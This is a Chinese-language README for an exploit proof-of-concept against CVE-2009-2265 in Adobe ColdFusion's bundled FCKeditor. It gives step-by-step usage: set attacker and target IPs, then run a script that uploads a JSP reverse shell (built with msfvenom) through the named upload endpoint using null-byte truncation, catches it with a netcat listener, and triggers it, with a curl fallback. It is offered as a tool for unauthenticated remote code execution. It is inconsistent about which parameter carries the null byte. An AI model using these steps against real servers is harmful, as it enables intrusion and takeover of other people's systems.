CVE-2009-2265 - Adobe ColdFusion 远程代码执行

通过 ColdFusion 捆绑的 FCKeditor 组件中的任意文件上传实现未经身份验证的远程代码执行。文件上传端点接受 filename 参数中的空字节注入，允许上传 JSP webshell 并由服务器直接执行。

受影响版本

*如果未移除或更新 FCKeditor 组件，ColdFusion 9.0 会受影响。

补丁：Adobe 安全公告 APSB09-09（2009 年 7 月）。

使用方法

编辑脚本顶部的变量：

lhost = 'YOUR_IP'
lport = 4444
rhost = 'TARGET_IP'
rport = 8500

运行：

python3 poc.py

脚本将：

1. 通过 msfvenom 生成 JSP 反向 shell
2. 通过 FCKeditor 端点将其上传到目标
3. 在 lport 上启动 nc 监听器
4. 自动触发 shell

如果 shell 在几秒内未连接，请手动触发：

curl http://<rhost>:<rport>/userfiles/file/<filename>.jsp

上传后文件名会打印到 stdout。

依赖要求

msfvenom
netcat (nc)
python3

存在漏洞的端点

/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm

说明

• ColdFusion 默认端口为 8500（HTTP）或 8300（HTTPS）
• 上传的文件会存放在 /userfiles/file/ 目录中
• CurrentFolder 参数中的空字节（%00）会截断文件名， 因此尽管上传时显示为 .txt，服务器仍会以 .jsp 扩展名存储该文件
• 在 Windows 目标上 shell 为 cmd.exe，在 Linux 上为 /bin/sh